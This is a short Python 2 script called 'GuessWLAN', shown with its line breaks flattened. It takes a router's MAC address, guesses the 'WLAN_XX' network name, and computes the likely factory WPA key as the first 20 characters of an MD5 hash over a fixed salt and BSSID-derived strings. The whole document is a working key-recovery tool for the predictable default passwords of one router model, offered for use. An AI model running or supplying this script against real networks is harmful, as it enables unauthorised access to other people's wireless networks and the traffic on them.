import sys import hashlib def genkey(name, mac): name = name.upper() bssid = mac.replace(':','').upper() bssidalt = mac[:-4] + name[-4:] string = 'bcgbghgg' + bssidalt + bssid return hashlib.md5(string).hexdigest()[:20] if __name__ == '__main__': print 'GuessWLAN 1.1 by a.s.r ;)' print if len(sys.argv)!=2: print 'Usage: %s ' % sys.argv[0] exit(1) mac = sys.argv[1].replace(':','').upper() base = int(mac[-2:],16) namepart = 'WLAN_' + mac[-4:-2] print 'Possible key: ', name = namepart + hex(base - 3)[-2:].upper() print genkey(name,mac)